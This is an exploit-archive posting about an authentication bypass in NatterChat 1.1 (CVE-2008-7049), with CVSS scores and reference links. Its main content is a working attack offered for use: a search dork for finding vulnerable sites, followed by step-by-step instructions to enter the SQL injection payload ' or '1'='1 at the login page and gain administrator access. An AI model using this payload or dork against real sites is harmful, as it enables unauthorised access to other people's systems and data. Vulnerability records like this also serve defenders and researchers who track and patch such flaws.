NatterChat 1.1 (Auth Bypass) Remote SQL Injection Vulnerability

2009.08.27

Credit: Bl@ckbe@rD

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7049

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

[+] Script Name         : NATTERCHAT v1.1 remote login bypass

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') 

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

[+] Dork           : Powered by NATTERCHAT v 1.1

--//-->

[+] Expl0iT :

1) Go to the Login page http://www.exemple.ff/chat/nattechat/home.asp

2) Username : admin  

   Password : ' or '1'='1

3) You are the Admin now!

N.B : U can aplly an SQL query in both (Username or Password) but we done only ' or '1'='1 coz it's always true then we can simply bypass the login page

--//-->

[+] Greetz : hak3r-b0y , Underz0ne Crew , king Of Hacker , Zigma , micro0x02 ...

References:

http://xforce.iss.net/xforce/xfdb/46748

http://www.securityfocus.com/bid/32385

http://www.milw0rm.com/exploits/7175

http://www.milw0rm.com/exploits/7172

See this note in RAW Version

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NatterChat 1.1 (Auth Bypass) Remote SQL Injection Vulnerability

References:

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